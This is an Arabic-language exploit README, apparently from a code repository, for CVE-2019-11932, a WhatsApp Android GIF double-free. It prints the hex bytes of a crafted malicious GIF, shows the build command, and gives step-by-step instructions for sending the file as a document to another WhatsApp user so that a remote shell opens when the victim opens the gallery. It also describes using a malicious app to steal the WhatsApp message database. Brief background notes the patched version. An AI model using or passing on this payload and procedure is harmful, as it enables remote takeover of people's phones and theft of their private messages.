CVE-2019-11932

يجب استبدال عنوان النظام () و gadget بالعنوان الفعلي الذي تم العثور عليه من خلال ثغرة كشف المعلومات.

بعد استبدال عنوان النظام () و gadget. قم بتشغيل الكود لإنشاء ملف GIF التالف:

notroot@osboxes:~/Desktop/gif$ make
.....
.....
.....
notroot@osboxes:~/Desktop/gif$ ./exploit exploit.gif
buffer = 0x7ffc586cd8b0 size = 266
47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC
FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00
00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08
9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 84 9C 09 B0
C5 07 00 00 00 74 DE E4 11 F3 06 0F 08 37 63 40
C4 C8 21 C3 45 0C 1B 38 5C C8 70 71 43 06 08 1A
34 68 D0 00 01 01 0C 34 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 54 12 7C C0 C5 07 00 00 00 EE FF FF 2C 00 00
00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00
18 00 0A 00 0F 00 01 00 00 3B

ثم انسخ ملف exploit.gif وأرسله كمستند عبر WhatsApp إلى مستخدم آخر في WhatsApp. لاحظ أنه لا ينبغي إرساله كملف وسائط، وإلا سيحاول WhatsApp تحويله إلى MP4 قبل إرساله. بمجرد استلام المستخدم لملف GIF الخبيث، لن يحدث شيء حتى يفتح المستخدم معرض WhatsApp لإرسال ملف وسائط إلى صديقه.

#تعليمات

نواقل هجوم GIF في واتساب (خبر صغير وتعليمات في النهاية)

                              -----خبر صغير وتعليمات----

يمكن تنفيذ اختراق GIF في واتساب بطريقتين

مرحلة الامتياز المحلي (من تطبيق مستخدم إلى واتساب): يتم تثبيت تطبيق خبيث على جهاز أندرويد. يقوم التطبيق بجمع عناوين مكتبات البيضة الملقحة (zygote) وإنشاء ملف GIF خبيث يؤدي إلى تنفيذ كود في واتساب. يسمح ذلك لتطبيق البرامج الضارة بسرقة الملفات من صندوق الحماية (sandbox) في واتساب، بما في ذلك قاعدة بيانات الرسائل. تنفيذ كود عن بُعد: الاقتران بتطبيق لديه ثغرة كشف معلومات عن الذاكرة عن بُعد. يمكن للمهاجم جمع عناوين مكتبات البيضة الملقحة وإنشاء ملف GIF خبيث لإرساله إلى المستخدم عبر واتساب (يجب أن يكون كمرفق، وليس كصورة عبر منتقي المعرض لأن واتساب يحاول تحويل ملفات الوسائط إلى MP4 مما يجعل ملف GIF الخبيث غير مفيد). بمجرد أن يفتح المستخدم عرض المعرض في واتساب، سيقوم ملف GIF بتشغيل شل عن بُعد في سياق واتساب. يجب قراءة: 4 اختراقات Fitbit لم تعرفها من قبل واتساب على أحدث أندرويد قابل للاختراق الإصدارات أندرويد 8.1 و 9.0 قابلة للاستغلال، بينما الإصدارات الأقدم ليست كذلك. يقول الباحث إن الخطأ المزدوج الحر (double-free) قد لا يزال يُفعَّل في إصدارات أقدم من نظام التشغيل، ولكن يحدث تعطل قبل أن يتمكن كود خبيث من تنفيذ RCE. ملف GIF خبيث يخترق واتساب الخلاصة: اعترفت فيسبوك بالمشكلة الأمنية وأصلحت المشكلة في إصدار واتساب 2.19.244. على الرغم من أن فيسبوك حاولت جعل الأمر يبدو وكأنه ليس اختراقًا كبيرًا، إلا أنه في الواقع مزعج جدًا. كالعادة، حافظ على تحديث تطبيقاتك ولا تقم بتثبيت تطبيقات غير ضرورية.

--------------------------------------------------------الخطوات---------------------------------------------------------------------------

ببساطة قم بتجميع الكود في هذا المستودع. يجب استبدال عنوان النظام () و gadget بالعنوان الفعلي الذي تم العثور عليه من خلال ثغرة كشف المعلومات التي يجب عليك اكتشافها بنفسك باستخدام تقنيات أخرى قبل أن يقوم GIF بأي RCE نيابة عنك. بمجرد تجميع الكود المذكور في الرابط أعلاه، انسخ المحتوى إلى ملف GIF وأرسله كمستند عبر WhatsApp إلى مستخدم آخر في WhatsApp. تذكر عدم إرساله كملف وسائط، وإلا سيحاول WhatsApp تحويله إلى MP4 قبل إرساله. بمجرد استلام المستخدم لملف GIF الخبيث، لن يحدث شيء حتى يفتح المستخدم معرض WhatsApp لإرسال ملف وسائط إلى صديقه.